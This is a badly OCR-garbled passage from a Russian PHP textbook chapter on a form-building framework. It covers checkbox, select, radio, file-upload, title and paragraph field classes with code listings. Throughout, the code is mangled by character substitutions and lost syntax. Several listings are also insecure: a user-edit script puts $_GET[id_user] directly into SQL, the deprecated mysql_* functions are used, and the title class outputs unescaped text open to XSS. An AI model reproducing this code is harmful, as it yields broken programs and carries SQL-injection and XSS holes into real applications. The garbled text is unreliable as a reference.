Гл ава 6. Вспомогательный набор классов. Framework // Устанавлив аем соединение с базой данных requi re_once ("c onfig .php" ) ; $query "SELECT * FROM users WHERE id user = $_GET [id_u ser] "; $us r = rnysql_query($que ry) ; if( !$usr) throw new Excepti onМySQL (rnys ql_error () , $que ry, } "Ошибка извлечения данных поль зователя" ) ; $_REQUEST = rny sql fetch array ($us r) ; $_REQUE ST [ ' pas s_again ' ] $_REQUE ST ['pass']; ////////////////////////////////////////// // 1. Формирование НТМL-формы ////////////////////////////////////////// $pas s = new fieldyassword ("pass ", "Пароль ", true , $pas s_again $_REQUE ST ['p ass']); new fiеldуаsswоrd ("раss_аgаiп", "Повтор пароля" , true , $еrnaН $_REQUEST['p ass_again ']); new field text_ernail ("ernail", $description "E-rnail" , true , $_REQUEST ['ernail' ]); new field_textarea ("de scription" , "О себе", false, // Поле не обязательное $_REQUЕ SТ ['dе sсriрt iоп ']); 435
436 new field_hidden_int ("id_user" , true , Часть 1. Общие во $_REQUEST['id_us er ']); $form = new form ( array ("pas s" => $pas s, "pas s_again" => $pas s_again, "email" => $email , "description" => $description, "id us er" => $id_us er) , "Добавить " , "field" ); ////////////////////////////////////////// // 2. Обработчик НТМL- формы ////////////////////////////////////////// if (!ernpty ($_POST ) ) // Устанавливаем соединение с базой данных require_once ("config . php " ); // Проверяем корре ктность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $form->check () ; / / Пр оверяем, равны ли пароли if ($form- >fields ['pass ']->value != $form->fields ['p ass_again ']->value ) $error [] "Пароли не равны" ; // Пр оверяем , не регистрировался ли ранее поль зователь // с запрашиваемым электронным адресом $query = "SELECT СОИNТ (*) FROM us ers WНERE ernaН = '{$form->fields [ernaН] ->value ) '''; $mal = mys ql_query ($que ry) ; if (!$mal )
Глава 6. Вспомогательный набор кла ссов. Framework throw new ExceptionМySQL (mysql_e rror () , $query, "О!Ш1бка обновления поль зователь ск:их данных" ) ; if (mysql_result ($ma l, О) ) $error [] "Поль зователь с электронным адресом { $form->fields [email ] ->value } уже зарегистрирован "; if (empty ($e rror) ) // Обновляем запись поль зователя $query = "ОРОАТЕ users SET pass = MD5 ('{ $form->fiеlds [раss] ->vаluе} '), email = , { $form->fields [ema il] ->value }', de scription = , { $form->fields [description] ->value }' WНERE id user = { $form->fields [id_u ser] ->value } "; Н( ! mysql_query ($query) ) throw new Except i onМySQL (mys ql_e rror (), $query, "О!Ш1бка обновления поль зователь ск:их данных" ) ; // Пере гружаем страницу для сброса РОSТ-данных header ("Locat ion : list .php " ); exit () ; 437
438 Часть 1. Общие вопросы ?> ////////////////////////////////////////// // з. Видимая часть страницы ////////////////////////////////////////// // Включаем заголовок страницы require_once ("utils/top . php " ); / / Выводим сообщения об ошибках , если они имеются if (!empty ($error) ) foreach ($error ав $err) echo "<span style=\"color : red\ ">$err</ span><br> "; / / Выводим НТМL-форму $form->print_form () ; catch ( ExceptionМySQL $ехс ) { require ("excepti on_mysql .php " ); } catch ( Excepti onObj ect $ехс ) require ("excepti on_obj ect . php " ); catch ( Excepti onМember $ехс ) { require ("except ion_membe r.php " ); // Включаем завершение страницы require_once ( "utils/bottom.php " ) ; в НТМL-форме, представленной в листи нге 6.28, при формировании объек­ тов элементов управления вместо суперглобал ьного массива $ _POST исполь­ зуется супергл обальный массив $_REQUE ST. ЭТО связано с тем, что поля фор­ мы должны быть заполнены во время первого обращения к форме, тогда использование суперглобального мас сива $_ POST приведет к срабатыванию обработчика. Кроме того, поле id_user сначала передается методо м GET, а затем - методо м POST. В данной ситуации использование суперглобального массива $_RESUEST позволяет избежать дополн ительных преобразованиЙ. Ре­ зультат работы скрипта из листинга 6.28 представлен на рис. 6.22. Скрытое обязател ьное поле id_user защищено от SQL-инъекций, так как значение поля автоматически приводится к целому значению при помощи функции intva l ().
Глава 6. ВспомогатеЛЬНblЙ набор кл ассов. Framework Пар()ль'� Повтор ааропя "': E.mail ": Осебе: I!.!.! .!.!.!..!.!....... .... .... ....... . ПерВы}t пользователь Добави ть Рис. 6 .22. Редакти рование пользовател я 6.15. Флажок. Класс field checkbox 439 Флажок - это элемент управ ления, позволяющий представлять логическое значение в НТМL-форме, находясь в установленном ил и снятом состоя нии. Синтаксис элемента управления выглядит следующим образом : <input type=che ckbox> Помимо атрибута type, флажок поддерживает атрибут пате для уникал ьного имени элемента управления, атрибут value для его значения и атрибут checked, наличие которого означает, что флажок установлен. Для представл ения флажка унаследуем от базового кл асса field производ­ НЫЙ класс field_checkbox (рис. 6.23). В листинге 6.29 представлена возможная реализация кл асса field_che ckbox. В отличие от предыдущих эл ем ентов управления, ко нструктор кл асса
440 Часть 1. Общие вопросы field checkbox не содержит параметра $is_requi red, определяюще го обя­ зател ьность элемента управления, так как это не имеет смысла применител ь­ но к флажку . field_checkbox Рис. 6.23 . М есто класса field che ckbox в иерархии кл ассов элементов управления Листинг 6.29. Класс флажка f�eld_ ch eckbox <?php //////////////////////////////////////////////////////////// // Флажок che ckbox //////////////////////////////////////////////////////////// class field checkbox extends field // Конструктор класса function __cons truct ($name , $capt ion , $value = false, "", $parameters $help = "", $he lp_url = "" ) // Вызываем конструктор базового кл асса field // ДЛЯ инициализаци и его данных parent : : __construct ($name ,
Глава 6. Вспомогательный набор классов. Framework "checkbox " , $caption, fa lse, $value , $parameters , $help, $he lp_url ) ; / / Инициализируем члены класса if ( $value == "оп" ) $th is->value = true ; else if ( $value === true ) $this->value true ; else $this->value = fa lse ; // Метод для возврата имени названия поля // и самого тега элемента управления funct ion get_html () // Если элементы оформления не пусты, учитываем их if (!ernpty ($this->css_style )) $style "style=\ "" .$this->css_style . "\""; else $style = ""; if (!ernpty ($this->css_c lass) ) $class "class=\ "" . $this->css_c lass ."\""; else $class ""; // Проверяем, установлен ли флажок if ($this->value ) $checked "checked" ; else $checked = ""; // Формируем тег $tag = "<input $style $class type=\ "" .$this ->type ."\" name=\ "".$this->name. "\" $checked>\n" ; 441
442 Часть 1. Общие вопросы ?> // Формируем подсказку, если она име ется $help = ""; if ( !ernpty ( $this->help) ) $help .= "<span style= 'color : blue'>". n12br ($this->help ) . "</span>"; if( ! ernpty ($help) ) $help . = "<br>"; if (!ernpty ( $th is->he lp_url )) ( $help .= "<span style= 'color : blue '> <а hrеf=" .$this->hеlр_ur l. " >помощь </а> </span>"; return array ($this->caption, $tag, $help) ; // Метод , проверяющий корре ктность переданных данных function check ( ) return ""; По умолчанию если атрибут val ие флажка не заполнен, то значение парамет­ ра, соотвеп:твующего флажку, принимает значение оп, если флажок установ­ лен, или отсутствует, если флажок снят. Во внутреннем представлении клас­ са значение флажка выступает либо как true, либо как false (это немного ограничивает класс решаемых задач, зато увеличивает усто йчивость эл емен­ та управления). Если конструктору класса передается значение оп, то оно ав­ то матически преобразуется к true. Метод check ( ) всегда возвращает пустую строку, так как ошибиться с вво­ дом в случае флажка невозможно : он всегда либо установлен, либо снят.
Глава 6. ВспомогатеЛЬНblЙ набор классов. Framewoгk 443 6.16. СПИСОК. Кл асс fi e/d_se/ect Список позволяет выбрать одно ил и нескол ько значений из определенного набора и имеет следующий синтаксис: <select> <орtiоп>Первый пункт</орtiоп> <орtiоп>Второй пункт</орt iоп> <орtiоп>Тре тий пункт</орt iоп> </select> Между тегами <select> и </ select> располагаются пункты списка, которые оформляются в виде орtiоп-тего в. В приведен ном выше примере список име­ ет три пункта . Помимо традиционного атрибута пате , тег <select> может иметь атрибуты multiple и size. Параметр rnu l tiple позволяет выбрать нескол ько пун кто в списка, отмечая их правой кнопкой мыши при одновременном удержан ии клавиши <Ctrl>. Атрибут size определ яет высоту списка в пунктах. Тег <select> не имеет атрибута value - этот атрибут располагается в теге <opt i on> . Помимо это го, тег <option> может иметь атрибут selected для обоз начения выделения текущего пункта. ВЫбор нескольких ЗН8'ifШИИ: ВЫбоР ОДIfOf"О ЗН8'iею1Я: доба вить Рис. 6.24. М н ожественный и выпадающи й списки
444 Часть 1. Общие вопросы На рис. 6.24 приведены два варианта списков: первый вариант - множест­ венный список, который использует атрибут mu l tiple И имеет в ы соту, рав­ ную 3 (по количеству элементов), второй список является выпадающим и по­ зволяет выбрать только одно значение. Для создания элемента управления списка унаследуем от базового класса field новый производный класс field_ select. На рис. 6.25 представл ена расш иренная схема иерархии кл ассо в элементов управления. field_c heckbox Рис. 6 .25. Место класса field select в иерархии кл ассов элементов управления в листинге 6.30 представлена возможная реализация кл асса field_s elect. Производный кл асс field select необходимо расширить введением новых членов : О $options - массив со значениями пунктов списка; ключи массива по­ мещаются в атрибут value; О $multi - логическая переменная, принимающая значение true, если список допускает выбор нескольких пункто в, и false, если список выпа­ дающий; О $select_size - высота для множественных списков. ЗА МЕЧА НИЕ Конструктор класса списка field_select таюке не снабжается параметр ом $is_requi red, так как обязательность выбора элемента не имеет смысла в рамках элемента управления и реализуется на логическом уровне приложения.
Глава 6. Вспомогательный набор классов. Fra m ework Листинr 6.30. Реал изация класса списка field_select <?php //////////////////////////////////////////////////////////// // Список select //////////////////////////////////////////////////////////// class field select extends field // Размер текстового поля protected $options ; // Является ли список множе ственным protected $mul ti; // Высота списка protected $select_size; // Конструктор класса function __construct ($name , $capt ion, $options array() , $value , $multi = false, $select_size = 4, $parameters = "") // Вызываем конструктор базового класса field для / / инициализации его данных parent : : __const ruct ( $name , "select " , $capt ion, false, $value , $parameters ) ; / / Инициализируем члены кл асса $this- >options $options ; $this- >multi $this- >select_size $multi; $select_size; 445
446 Часть 1. Общие вопросы // Метод для возврата имени поля // и самого тега элемента управления funct ion get_html () / / Если элементы оформления не пусты, учитываем их if (!empty ($this->cs s_style )) $style "style=\ "" . $this->cs s_s tyle ."\ ""; else $style = ""; if (!empty ($this->css_c lass) ) $class else $class "class=\ " " . $this->css_class . "\ '' '' ; "" ., if ($this->mul ti && $this->select_size) $multi = "multiple size=" . $this->select_s i ze; $this->name = $this->name. "[]"; else $multi = ""; / / Формируем тег $tag = "<select $style $class name=\ "" .$this->name. "\" $multi>\n" ; if (!empty ($this->opt ions )) foreach ($this->options аз $key => $value ) if ( is_a rray ($this ->value) ) if ( in_a rray ($key, $this->value) ) $selected else $selected = ""; else if ( $key == trim($this->va lue) ) $selected else $selected = ""; $tag "<opt ion value= ' '' . html specialchars ($key, ENT_QUOTE S) '" $selected>" . "selected" ; " selected" ;
Глава б. Всломогательный набор классов. Framework html specialchars ( $value , ENT_QUOTES ) . "</option>\n" ; $tag "</select>\n" ; // Формируем подсказку, если она име ется $help = ""; if( ! ernpty ($this->help) ) $help .= "<span style= 'color : blue '>". n12br ($this->help ) . "</span>" ; if (!ernpty ( $help) ) $help .= "<br>" ; if (!ernpty ($this->he lp_url )) { $help .= "<span style= 'color : blue '> <а hrеf=" .$this->hеlр_url .">помощь </а> </span>"; return array ($this->caption , $tag, $help) ; // Метод, проверяющий корректность переданных данных function che ck ( ) // Получаем список возможных значений if (!in_a rray ($this->value ,array_keys ($this->options ))) if (empty ($this->value) ) return "Поле \"".$this->capt ion ."\ " содержит недопустимое значение "; 447
448 Часть 1. Общие вопросы for ($i = О; $i < count ($this->va lue) ; $i++ ) $this->value [$i) = mysql_e scape_string ($this->value [$i) ); return "" ., // Выбранный элемент function selected () return $this->vа luе [О) ; ?> Чл ен $option хранит ассоциативный масс ив с пунктами списка, член $value является либо массивом (если допускается выбор нескол ьких значений), либо первич ным кл ючом (есл и объект представляет выпадающий список). HTML­ форма, представл енная на рис. 6.24, может быть сформирована при помощи кода из листинга 6.3 1. Листинг 6.31 . Использование списков <?php $fst new field_select ("f st", "Выбор множества<Ьr> значения" , array ("Первый пункт ", "Второй nYHK:r " , "Третий пункт") , array (O, 2) , true , 3); $snd new field_s elect ("s nd" , "Выбор одного<Ьr> значения ", array ("Первый пункт " , "Второй пункт ", "Третий пункт" ) , О);
Глава 6. Вспомогательный набор классов. Framework 449 ?> $form = new form (array ("f st" "snd" $button_name , $class_name ) ; => $fst, => $snd) , Метод check () класса field_select (), помимо всего прочего, проверяет, являются ли выбранные значения кл ючами массива $options . Кро ме то го, введен дополнительный метод select ( ) , позволяющий получить выделен­ ный эл емент управления, есл и формируется выпадающий список. 6.1 7 . Перекл ючатели. Класс fie/d_ra dio Пер еключатель, ил и, инач е, радиокнопка - элемент управления, позволяю­ щий выбрать из набора утверждений тол ько од но. Он имеет следующий син­ таксис: <input type=radio> Для формирования набора утверждений используется нескол ько переключа­ тел ей, которым присваивается одно и то же имя через атрибут паше . Помимо традиционных атрибутов type И пате , переключател и могут быть снабжены атр ибутом value дл я передач и значения и атрибутом checked для того, чтобы отметить один из переключателей по умолчанию. Набор переключателей будет задаваться в SоftТiше Fгашеwогk при помощи одного эл емента управления. При этом утверждения будут передаваться в виде массива точно так же, как в классе field_select (см . раздел 6. 15) . На рис. 6 .26 приведены два набора переключателей с го ризонтальным и вер­ тикальным расположением переключателеЙ. Для модел ирования переключателей унаследуем от базового кл асса field производный класс field_radio (рис. 6 .27). В листинге 6.32 представлена возможная реализация класса field_radio, сильно напоминающая реализацию класса списка field_select. ЗАМЕЧАНИЕ Конструктор класса списка field_select та юке не снабжается параметром $is required, та к как обязател ьность выбора элемента не имеет смысла в рамках элемента управления и реализуется на логическом уровне прило­ жения.
450 8ертикаЛЫIЫ.й вариаит: ГОРli:Wlпалы,ый �Рflllн.l: <:. уеэ �· nо (:yeS�по Добавить Часть 1. Общие вопросы Рис. 6 .26 . Горизонтал ь ный и верти кал ьный варианты набора перекл ючателей fiеldзhесkЬох Рис. 6 .27 . Место кл асса field_radi o в иерархии классо в элементов управления Листинг 6.32 . Класс набора переключателей field_r adio <?рЬр //////////////////////////////////////////////////////////// // Переключатель radio ////////////////////////////////////////////////////////////
Глава 6. Вспомогательный набор классов. Framework class field radio extends field // Варианты ответов protected $radio; // Конструктор класса fиnction __construct ($name , $capt ion, $radio = array() , $value , $parameters "", $help = "", $help_url "") // hori zontal // Вызываем конструктор базового класса field // для инициализаци и его данных parent : : __construct ($name , "radio" , $caption, false, $value , $parameters , $help , $help_url ) ; / / Инициализируем члены класса if ($this->radio != "radio_rate ") $this->radio // Метод для возврата имени поля // и самого тега элемента управления fиnction get_html () $radio; // Е сли элементы оформления не пусты, учитываем их if (!ernpty ($this->css_s tyle )) $style = "style=\ "" .$this->cs s_style ."\""; else $style = ""; if (!ernpty ($this->css_c lass) ) 451
452 $class = "class=\'''' .$this- >css_class .'' \''''; else $class = "" . , $this->type = "radio "; // Формируем тег $tag = ""; if( ! ernp ty ($this->radio) ) foreach ($this->radio as $key => $value ) Часть 1. Общие вопросы if ( $key == $this->value ) $checked = "checked" ; else $checked =" "; if(strpos C$ this- >parameters , "hori zontal") ! == false) $tag "<input $style $class else $tag [] type=" .$this->type ." пате= ".$this- >name . "[] $checked value= '$key ' >$value "; "<input $style $class type=" . $this- >type ." пате=" . $this->name . " [] $checked value= ' $key ' >$value\n" ; // Формируем подсказку, если она име ется $help = ""; if( ! ernpty ($this->help ) ) $help .= "<span style= 'color : blue '>". n12br ($this->help ) . "</span>";
Глава 6. Вспомогательный набор классов. Framework ?> if ( ! empty ($help) ) $help .= "<br>" ; if (!emp ty ( $th is->help_url )) $help .= "<span style= 'color : blue '> <а hrе f=" .$this->hе lр_url .">помощь </а> <Ispan>"; return array ($this->capt ion , $tag, $help) ; II Метод , проверяющий корректность переданных данных function check ( ) II Получаем список В ОЗМОЖНЫХ значений if (!g et_ma gic_quotes_gpc () ) $this->value = mysql_escape_s tring ($this->value) ; if (!@in_a rray ($this->value ,array_keys ($this->radio) )) if (emp ty ($this->va lue) ) return "Поле \"" . $this->caption ."\" содержит недопустимое значение "; return "" ­, 453 в данном классе задействуется зарезервированный член $parameters . Есл и его значение содержит в своем составе подстроку " hori zontal " - переклю­ чатели распол агаются горизонтал ьно, в противном случае - вертикально. Названия переключателей и их значения задаются при помощи эл ементов и ключей массива $radio. НТМL-форма, представленная на рис. 6.26, может быть сформирована при помощи кода из листинга 6.33.
454 Листинг 6.33 . Использование переключателей <?php ?> $fst = new field_radio ("fst", "Вертикаль ный вариант ", array ("yes ", 1); $snd = new field_radio ( "snd" , "по" ), "Горизонтальный вариант ", array ("yes", "по") , 1, "horizont al") ; $fonn = new fonn ( array ("f st" "snd " $button_narne , $class_narne ) ; => $fst , => $snd) , Часть 1. Общие вопр осы 6.18. П оле для загрузки файла на сервер. Класс fie/d file Для загрузки пользовательских файлов на сервер используется специальный элемент управления, позволяющи й указать путь к загружаемому файлу (при помощи кнопки Обзор). Элемент управления имеет следующий синтакс ис: <input type=file> Помимо атрибута type, элемент управления допускает указания атрибутов пате и size. Особенность загрузки файлов на сервер заключается в том, что после загруз­ ки файл помещается во временную директорию, откуда РНР-разработчик должен его скопировать в директорию назначения при помощи функции сору () или move_up1oaded_ file (). ЗА МЕЧАНИЕ Атр ибут НТМL-формы enctype должен принимать значение mu ltipart /form- date, В проти вном случае файл не будет загружен на сервер.
Глава б. ВспомогатеЛЬНblй набор классов. Framework 455 Характеристики загруженного файла доступны через двумерный супергло­ бальный массив $_FILES . При этом переменная со значениями этого массива м ожет иметь следующий вид: C: :J $_EI LE S ['filename '] ['n ame'] - содержит исходное имя файла на кли­ ентской машине; C: :J $_FILES [ 'fi lename ' ] ['size'] - содержит размер загруженного файла в байтах; C: :J $_ FILES [ , filename ' ] [ 'type '] - содержит МIМЕ-тип файл а; C: :J $_FILE S ['filename '] ['tmp_f ile'] - содержит имя временного файла, в который сохраняется загруженный файл . Здесь filename - имя элемента управления (атрибут name ) . Унаследуем от б азового кл асса field новый ПРОИЗВОДный класс field_ file, расширенный двумя новыми членам и: C: :J $dir - директория назначения, куда будет помещен файл ; C: :J $prefix - префикс, которым при необходимости будет снабжаться файл . Такой префикс можно формировать уникальным - это позволит не перезаписывать файлы с од инаковыми названиями. Нарис. 6 .28 демонстрируется текущая иерархия классов элементов управления . field_c heckbox Рис. 6.28 . Место кл асса field_fi le в иерархии классов элементов управления
456 Часть 1. Общие вОПРОСbJ Название файла может включать символы русского алфав ита. В то же вре м я не все UNIХ-системы поддерживают русскоязычные наименования файл о в и директорий, поэтому название будет преоб разо вываться в транслит методо м encodestring () базового кл асса field. Получить ко нечное имя файла можно при помощи дополнительного метода get_filename () . в листинге 6.34 приводится возможная реализация класса field_file. Листинг 6.34 . Класс загрузки файла на сервер field_file <?php //////////////////////////////////////////////////////////// // Загрузка файла на сервер file //////////////////////////////////////////////////////////// class field file extends field // ДИректория назначения protected $dir; // Префикс protected $prefix; // Конструктор класса funct ion __construct ( $name , $capt ion , $is required = false, $value , // $_FILES $dir, $prefix = "", $help = "", $he lp_url = "") // Вызываем конструктор базового класса field // для инициализации его данных parent : : __cons truct ( $name , "file", $capt ion, $is_required, $value , 11" ,
Глава 6. ВспомогатеЛЬНbJЙ набор классов. Framework $help , $help_url ) ; $this->di r = $dir; $this->prefix = $pre fix ; if (!empty ($this->value )) II Если файл является скриптом РНР II или Perl или пр едставляет собой НТМL-страницу , II преобразуем его в формат .txt $extentions = array ("#\ .php #is", "#\ .phtml#is" , "#\ .рhр З#is", "#\ .html#is" , " #\ .htm#is", "#\ .hta#is", "#\ .pl#is ", "#\ .юnl #is", "#\ . inc#is", " #\. shtml#is" , "#\ .xht #is", "#\ .xhtml#is") ; II Заменяем символы русского алфавита на транслит $this->va lue [$this->naтe ] ['пате' ] = $this->encodestring ($this->va lue [$this->naтe ] ['пате' ]); II Извлекаем из имени файла расширение $path-pa rts = pathinfo ($this->value [$this->naтe ] ['пате' ]); $ext = "." .$path_p arts [ 'extens ion ' ] ; $path = basenaтe ($this->value [$this->naтe ] ['naтe' ],$ext) ; $add = $ext ; foreach ($ext ent ions AS $exten ) if ( preg_rna tch ($exten, $ext) ) $add $path $add ; ".txt"; $path = str_replace ("II ", "I", $di r. " I" .$prefix .$path) ; II Перемещаем файл из временной директории сервера II в директорию Ifiles Web-приложения 457
458 Часть 1. Общие вопр осы if (сору ($this->value [$this->name ] ['tmp_name' ], $path) ) // Уничтожаем файл во временной директории @unlink ($this->value [$this->name ] ['tmp_name'] ); // Изменяем права доступа к файлу @chmod ($path , 0644) ; // Метод для возврата имени поля // и самого тега элемента управления function get_html () / / Если элементы оформления не пус ты, учитываем их if (!emp ty ($this->css_s tyle )) $style "style=\ '' '' . $this->css_s tyle . "\ ""; else $style = ""; if (!emp ty ($this->cs s_class) ) $class else $class "class=\ "". $this->css_c lass . "\""; "" ., / / Формируем тег $tag = "<input $style $class type=\"" .$this->type ."\" name=\" ".$this->name. " \">\n" ; // Если поле обязатель но , отмечаем этот факт if ($this->is_required) $th is->capt ion .= " *"; // Формируем подсказку, если она име ется $help = ""; if (!empty ($t his->help) )
Глава 6. ВспомогатеЛЬНblй набор классов. Framework $help .= "<врап style= 'color : blue '>". n12br ( $this->help ) . "</span>"; if (!ernpty ( $help )) $help .= "<br>"; if (!ernpty ($thi s->help_u rl )) $help .= "<врап style= 'color : blue '> <а hrеf=" . $this->hе lр_url .">помощь </а> </span> " ; return array ($this->capt ion, $tag, $help) ; 11 Метод , проверяющий корректность переданных данных function check () if ($this->is_required) if (еrnр tу ($this->vаluе [$thi s->паше] )) return "Поле \"" . $this->capt ion ."\" не заполнено "; return "" ., 11 Возврат перекодированного имени файла funct ion gеt_f ilепаше () if (!ernpty ($this->value )) if (!ernрtу ($this->vаluе [$this->паше ] ['паше' ])) r.eturn rny sql_escape_s tring ($this->encodestring ( $th is->рrеfiх .$this->vа luе [$this->паше ] ['паше ' ])); 459
460 ?> else return ""; else return 11 11 . , Часть 1. Общие вопросы Конструктору класса field_file В качестве элемента value передается су­ перглобальный массив $ _FI L ES. Если на сервер не загруже но ни одного фай­ ла, массив остается пустым, а конструктор не выполняет никаких действий. Однако если массив не пуст, производится загрузка файла в директорию на­ значения $dir. Путь к загруже нному файлу можно получить при помощи специального метода get_filename (). 6.19. З а гол овок. Кл асс fi e/d_tit/e НТМL-формы могут иметь достато чно сложную структуру и включ ать не­ скол ько логических разделов. Было бы удобно иметь возможность вставлять в НТМL-форму свои заголовки, которые отдел яли бы одни элементы управ­ ления от других. Введение стати ч еских эл ементов управления позволило бы придать дополнител ьную гибкость приложению, которой приходится жерт­ вовать ради увеличения скорости разработки при автоматическом построе­ нии НТМL-форм. Унаследуем от базового класса field производный класс field_title, кото­ рый будет поддерживать шесть видов заголовков, соответствующих HTML­ тегам <Hl>, <Н2>, <НЗ >, <Н4>, <Н5> И <Н6>. Возможная реализация класса field_title представл ена в листинге 6.35. Конструктор кл асса field_title содержит три необязател ьных параметра: О $value - текст заголовка; о $h_type - размер заголовка; О $parameters - параметр, зарезервированный дл я будущих расш ирений. Лж:тинг 6.35. Класс заголовка field ti tle <?php ////////////////////////////////////////////////////////////
Глава 6. Вспомогательный набор кл ассов. Framework // Заголовок (текст ) //////////////////////////////////////////////////////////// c1ass fie1d tit1e extends fie1d // Размер заголовка 1, 2, 3, 4, 5, 6 для // hl, h2, h3, h4 , h5 , h6, соответственно protected $h_type ; // Конструктор класса function __construct ($va1ue _ "" - , $h_type = 3, $parameters = "") // Вызываем конструктор базового класса fie1d / / для инициализации его данных parent : : __construct ("", "tit1e" , "", fa1se, $va1ue , $parameters , rr" , "")i i f($h_type > о && $h_type < 7) $this- >h_type // По умолчанию при сваиваем значение 3 e1se $th is->h_type = 3; // Метод для возврата имени поля // и самого тега элемента управления function get_html () / / Формируем тег $tag = htmlspecia1chars ( $this->va1ue , ENT_QUOTES ) ; $pattern = "#\ [Ь\] (.+) \[\ /b\]#isU" ; $tag = preg_rep1ace ($pattern, '<b> \\l</b> ',$tag) ; $pattern = "#\ [i\J (.+ )\[\/i\J #isU" ; $tag = preg_rep1ace ($pattern, '<i>\\l</i> ',$tag ) ; 461
462 ?> Часть 1. Общие вопросы $pattern = " #\ [url \] [\s] * ( (?=http : ) [\S] *) [\s] *\ [\/url \] #si"; $tag = preg_replace ($pattern, '<а href="\\l" target=_b lank>\\l</a>',$tag) ; $pattern = "#\ [url[\s]*= [\s]* ( (?=http: ) [\S]+) [\s]*\] [\s]* ( [Л\[]*)\ [/url\]#isU"; $tag = preg_replace ($pattern, '<а href=" \\l" target=_blank> \\2</a> ', $tag) ; if (ge t_ma gic_quotes_gpc () ) $tag = stripcslashes ($tag) ; $tag = "<h" . $this->h_type . ">" . $this->value . "</h" . $this->h_type . ">" ; return array ($this->capt ion, $tag) ; // Метод, проверяющий корректность переданных данных function check ( ) return "" . , Для указания типа заголовка в класс filed_title вводится член $h_t ype, ко­ то рый может принимать значения от 1 до 6 (для заголовков от Hl дО Н6 со­ ответственно). Метод check (), который необходимо перегружать в силу того, что он является абстрактным в кл ассе field, всегда возвращает пустую стро­ ку (отсутствие ошибок), так как элемент управления заголовок является ста­ тическим и служит для отображения информации. Метод get_html () преобразует bbCode в обычные НТМL-теги . Поддержива­ ются следующие bbCode-теги : D [Ь] ...[/Ь] - текст, заключенный в эти теги, выделя ется жирным шриф­ то м, их использование эквивалентно <Ь> ...</Ь>; D [i] ...[/i] - текст, заключенный в эти те ги, выделя ется курсивом (наклон­ ным шрифтом), их использование эквивалентно <i> ...</i>; D [url]http ://www .site .ru[/url] - ссылка, преобразующаяся к виду <а l1fef = http : //www .site.ru >http : //www .site.ru</a>; D [url=11ttp ://ww w . site .ru]TeKcT[/url] - ссылка, преобразующаяся к виду <а href = 11ttp : //www.site .l·u >текст</а>.
Глава 6. Вспомогательный набор классов. Framework 463 Использование тегов bbCode вместо обычных НТМL-тегов необходимо для того, чтобы предотвратить искажение последних функцией html specialchars ( ), ис­ пользование которой необходимо для предотвращения XSS-инъекциЙ. Расс матриваемые до этого элементы управления занимали две я ч ейки табли­ цы . В случае заголовка удобнее, если он будет располагаться в двух я ч ей ках, объединенных при помощи атрибута colspan тега <td>. Для этого модиф и­ цируем метод print_form () класса form (см . листинг 6. 11) так, чтобы эле­ менты, чей член $type принимает значе ние ti tle, обрабатывались специаль­ ным образом (листинг 6.36). Листинг 6.36. Специальная обработка заголовка в методе print_form () класса form <?php switch ($obj ->type ) case "hidden" : // Скрыт ое поле echo $tag; break; case "title" : // Заголовок echo "<tr> break; de fault : <td $style $class colspan=2 va lign=top> $tag</td> </tr>\n" ; // Элементы управления по умолчанию echo "<tr> <td width=lOO $style $class va lign= top>$caption:</ td> <td $style $class va lign=top> $tag </td> </tr>\n" ; Н( !empty ($help ) ) { echo "<tr> <td> &nbsp ;</td>
464 Часть 1. Общие в опросы break ; ?> <td $style $class va lign=top>$help< / td> </tr>" ; в листинге 6.37 приводится пример использования заголовков: с их помощью обязательные параметры отделяются от необязател ьных. Листинг 6.37. Использование заголовков <?php $titl_req new field_title ("l. Обязатель ные параметры" ) ; $fst $snd $thd $fth new field_text ("fst", " Первое поле ", true , "") ; new field_t ext ("s nd" , "Второе поле ", true , "") ; new field_title ("2. Необязатель ные параметры" ); new field_t ext ("thd" , "Третье поле ", false, "") ; new field_t ext ("fth ", "Четвертое поле ", false, "") ; $form = new form ( array ("titl_req" "fst" => $titl_req, => $fst , "snd" => $snd,
Глава 6. Вспомогательный набор классов. Framework ?> "titl_non_req" => $titl_non req, "thd " "fth" $button_narne , $class_narne ) ; => $thd, => $fth) , Резул ьтат работы скрипта из листинга 6.37 представлен на рис. 6.29. 1. Обязательные параметр ы Первое поне ": Bco�)(}" попе "; 1_....._ ................._..... . .._._.__ ....._ ....... ........_.. .. ............ .. .. 2. Не обязательные параметры Третье поле:, 1.. ЧеТвёproе поп е: г l - - --- ...- ....- ....- .....- ....- .....- .... .- ....- .... .- ... .- .....- ...- ....- .... - .. ..- .....- .....- ....- .....1. Добавить Рис. 6.29. Использование заголовков 6.20. П араграф. Кл асс fi e/dJ)aragraph 465 Естественным дополнением статических элементов будет класс параграфа, кото рый допускал бы размещение тексто вого ко мментария между элемента­ ми управления. Унаследуем от базового кл асса field производн ый класс field_p aragraph (листи нг 6.38). Класс field_p aragraph практи чески пол­ ностью аналогичен классу field_title, за исключением отсутствия члена $h_t yp e, так как размер текста всех надписей одинаков. Кроме того, в методе get_html () при возврате фрагменто в для НТМL-формы текст параграфа под-
466 Часть 1. Общие вопросы вергается преобразованию при помощи функции n12br ( ), которая заменяет переводы строк на тег <br />. Последнее необходимо, чтобы структура пере­ вода строк параграфа сохранялась при выводе в окно браузера. Листинг 6.38. Класс параграфа f�eldyaragraph <?php //////////////////////////////////////////////////////////// // Параграф (текст) //////////////////////////////////////////////////////////// class field_p aragraph extends field // Конструктор класса function __cons truct ($value - "" - , $parameters = "") // Вызываем конструктор базового класса field // для инициализации его данных parent : : __construct ("", "paragraph " , .. .. , false, $value , $parameters , 1'" , 11"); // Метод для возврата имени поля // и самого тега элемента управления funct ion get_html () / / Формируем тег $tag = htmlspecialchars ($this->value , ENT_QUOTES ) ; $pattern = "#\ [Ь\] (.+) \[\ /b\]#isU" ; $tag = preg_replace ( $pattern, '<b> \\l</b> ',$tag ) ; $pattern = "#\ [i\] (.+)\[\ /i\] #isU" ;
